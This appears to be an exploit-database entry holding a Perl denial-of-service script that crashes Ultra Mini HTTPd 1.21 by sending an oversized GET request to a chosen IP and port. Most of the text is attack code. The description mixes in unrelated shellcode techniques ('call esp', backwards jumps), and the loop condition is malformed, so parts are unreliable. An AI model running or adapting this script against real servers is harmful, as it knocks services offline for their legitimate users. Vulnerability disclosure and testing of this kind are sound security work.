# Exploit Title: Ultra Mini HTTPd 1.21 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 2024-01-01
# Vendor Homepage: https://acme.com/
# Software Link: https://acme.com/
# Notification vendor: Yes reported
# Tested Version: Ultra Mini HTTPd 1.21
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=HWOGeg3e5As
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via GET.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $buffer = "\x41"x192;
my $payload = 'A' x 5438 . $buffer;
my $i=0;
while (i < 1) {
my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Can't connect!!!!! \n\n";
my $payload = "GET / $payload HTTP/1.1\r\nHost:$ip\r\n\r\n";
$socket->send($payload);
close($socket);
$i++;
}
print "[+] Exploited success!!!!!\n\n";
sub intro {
print "***************************************************\n";
print "* Ultra Mini HTTPd 1.21 - Denied of Service *\n";
print "* *\n";
print "* Coded by Fernando Mengali *\n";
print "* *\n";
print "* e-mail: fernando.mengalli\@gmail.com *\n";
print "* *\n";
print "***************************************************\n";
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated.
Polish
English